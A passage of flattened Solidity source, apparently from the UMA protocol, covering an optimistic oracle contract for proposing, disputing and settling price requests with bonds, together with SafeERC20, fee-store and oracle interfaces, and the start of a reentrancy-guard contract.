return _addPrefix(input, prefix, prefixLength);
}
function uintToUtf8(uint256 v) external pure returns (bytes32 ret) {
return _uintToUtf8(v);
}
function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) {
return _constructIdentifier(id);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/StoreInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OptimisticOracleInterface.sol";
import "./Constants.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/AddressWhitelist.sol";
/**
* @title Optimistic Requester.
* @notice Optional interface that requesters can implement to receive callbacks.
* @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
interface OptimisticRequester {
/**
* @notice Callback for proposals.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
*/
function priceProposed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external;
/**
* @notice Callback for disputes.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param refund refund received in the case that refundOnDispute was enabled.
*/
function priceDisputed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 refund
) external;
/**
* @notice Callback for settlement.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param price price that was resolved by the escalation process.
*/
function priceSettled(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 price
) external;
}
/**
* @title Optimistic Oracle.
* @notice Pre-DVM escalation contract that allows faster settlement.
*/
contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
event RequestPrice(
address indexed requester,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
address currency,
uint256 reward,
uint256 finalFee
);
event ProposePrice(
address indexed requester,
address indexed proposer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice,
uint256 expirationTimestamp,
address currency
);
event DisputePrice(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice
);
event Settle(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 price,
uint256 payout
);
mapping(bytes32 => Request) public requests;
// Finder to provide addresses for DVM contracts.
FinderInterface public finder;
// Default liveness value for all price requests.
uint256 public defaultLiveness;
/**
* @notice Constructor.
* @param _liveness default liveness applied to each price request.
* @param _finderAddress finder to use to get addresses of DVM contracts.
* @param _timerAddress address of the timer contract. Should be 0x0 in prod.
*/
constructor(
uint256 _liveness,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_validateLiveness(_liveness);
defaultLiveness = _liveness;
}
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier");
require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency");
require(timestamp <= getCurrentTime(), "Timestamp in future");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue;
requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({
proposer: address(0),
disputer: address(0),
currency: currency,
settled: false,
refundOnDispute: false,
proposedPrice: 0,
resolvedPrice: 0,
expirationTime: 0,
reward: reward,
finalFee: finalFee,
bond: finalFee,
customLiveness: 0
});
if (reward > 0) {
currency.safeTransferFrom(msg.sender, address(this), reward);
}
emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee);
// This function returns the initial proposal bond for this request, which can be customized by calling
// setBond() with the same identifier and timestamp.
return finalFee.mul(2);
}
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested");
Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData);
request.bond = bond;
// Total bond is the final fee + the newly set bond.
return bond.add(request.finalFee);
}
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setRefundOnDispute: Requested"
);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true;
}
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setCustomLiveness: Requested"
);
_validateLiveness(customLiveness);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness;
}
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public override nonReentrant() returns (uint256 totalBond) {
require(proposer != address(0), "proposer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Requested,
"proposePriceFor: Requested"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.proposer = proposer;
request.proposedPrice = proposedPrice;
// If a custom liveness has been set, use it instead of the default.
request.expirationTime = getCurrentTime().add(
request.customLiveness != 0 ? request.customLiveness : defaultLiveness
);
totalBond = request.bond.add(request.finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
emit ProposePrice(
requester,
proposer,
identifier,
timestamp,
ancillaryData,
proposedPrice,
request.expirationTime,
address(request.currency)
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {}
}
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice);
}
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
// Avoids stack too deep compilation error.
{
// Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it
// proportionally more expensive to delay the resolution even if the proposer and disputer are the same
// party.
uint256 burnedBond = _computeBurnedBond(request);
// The total fee is the burned bond and the final fee added together.
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
// Compute refund.
uint256 refund = 0;
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {}
}
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (int256) {
if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) {
_settle(msg.sender, identifier, timestamp, ancillaryData);
}
return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice;
}
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (uint256 payout) {
return _settle(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (Request memory) {
return _getRequest(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (State) {
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
if (address(request.currency) == address(0)) {
return State.Invalid;
}
if (request.proposer == address(0)) {
return State.Requested;
}
if (request.settled) {
return State.Settled;
}
if (request.disputer == address(0)) {
return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed;
}
return
_getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester))
? State.Resolved
: State.Disputed;
}
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (bool) {
State state = getState(requester, identifier, timestamp, ancillaryData);
return state == State.Settled || state == State.Resolved || state == State.Expired;
}
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stampped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) {
return _stampAncillaryData(ancillaryData, requester);
}
function _getId(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData));
}
function _settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private returns (uint256 payout) {
State state = getState(requester, identifier, timestamp, ancillaryData);
// Set it to settled so this function can never be entered again.
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.settled = true;
if (state == State.Expired) {
// In the expiry case, just pay back the proposer's bond and final fee along with the reward.
request.resolvedPrice = request.proposedPrice;
payout = request.bond.add(request.finalFee).add(request.reward);
request.currency.safeTransfer(request.proposer, payout);
} else if (state == State.Resolved) {
// In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward).
request.resolvedPrice = _getOracle().getPrice(
identifier,
timestamp,
_stampAncillaryData(ancillaryData, requester)
);
bool disputeSuccess = request.resolvedPrice != request.proposedPrice;
uint256 bond = request.bond;
// Unburned portion of the loser's bond = 1 - burned bond.
uint256 unburnedBond = bond.sub(_computeBurnedBond(request));
// Winner gets:
// - Their bond back.
// - The unburned portion of the loser's bond.
// - Their final fee back.
// - The request reward (if not already refunded -- if refunded, it will be set to 0).
payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward);
request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout);
} else {
revert("_settle: not settleable");
}
emit Settle(
requester,
request.proposer,
request.disputer,
identifier,
timestamp,
ancillaryData,
request.resolvedPrice,
payout
);
// Callback.
if (address(requester).isContract())
try
OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice)
{} catch {}
}
function _getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private view returns (Request storage) {
return requests[_getId(requester, identifier, timestamp, ancillaryData)];
}
function _computeBurnedBond(Request storage request) private view returns (uint256) {
// burnedBond = floor(bond / 2)
return request.bond.div(2);
}
function _validateLiveness(uint256 _liveness) private pure {
require(_liveness < 5200 weeks, "Liveness too large");
require(_liveness > 0, "Liveness cannot be 0");
}
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelist) {
return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it.
function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) {
return abi.encodePacked(ancillaryData, "OptimisticOracle", requester);
}
}
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length of a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
